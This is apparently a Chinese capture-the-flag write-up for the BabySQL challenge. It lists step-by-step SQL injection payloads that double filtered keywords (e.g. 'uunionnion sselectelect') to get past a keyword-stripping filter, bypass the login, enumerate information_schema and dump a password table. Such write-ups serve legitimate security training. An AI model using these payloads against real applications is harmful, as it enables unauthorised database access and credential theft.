[极客大挑战 2019]BabySQL

0x00

打开web界面看到如下

提示我们已经进行了严格过滤,经过大量的模糊测试,我发现被过滤的词都被去掉后再传给数据库。
这时我们可以采用重写方式来绕过,为验证我们的想法,可以使用如下payload(万能密码):

  • username: admin' oorr 1=1 #
  • password: 123

得到如下结果

既然知道了利用方式,继续我们的注入,我们利用联合注入,先来查询当前表字段数,使用如下payload:

admin' oorrder bbyy 3#
## 上面为username
## password不变

得到的结果正常

继续使用如下payload:

admin' oorrder bbyy 4#

得到如下结果,说明只有3个字段

使用如下payload,来得到回显位置

1' uunionnion sselectelect 1,2,3#
## 这里将admin改为1,是因为admin存在会出现正确回显,无法判断回显位置,而1不存在回显上面的数字

得到结果如下,可以看到2,3即为回显位置

查询数据库,使用如下payload:

1' uunionnion sselectelect 1,database(),3#

得到结果如下,当前数据库为geek

继续查询表,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),3#
## 出现重写的都是被过滤的

得到结果如下

继续查询字段,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#

得到结果如下,b4bsql表存在id,username,password三个字段

继续查询password字段的数据,使用如下payload:

1' uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql')#
## password那样写是因为过滤了or

得到了flag

0x01 总结

该题主要考察的是重写绕过,以及对mysql数据库的基本联合注入

posted @ 2020-09-08 08:56  she11s  阅读(264)  评论(0编辑  收藏  举报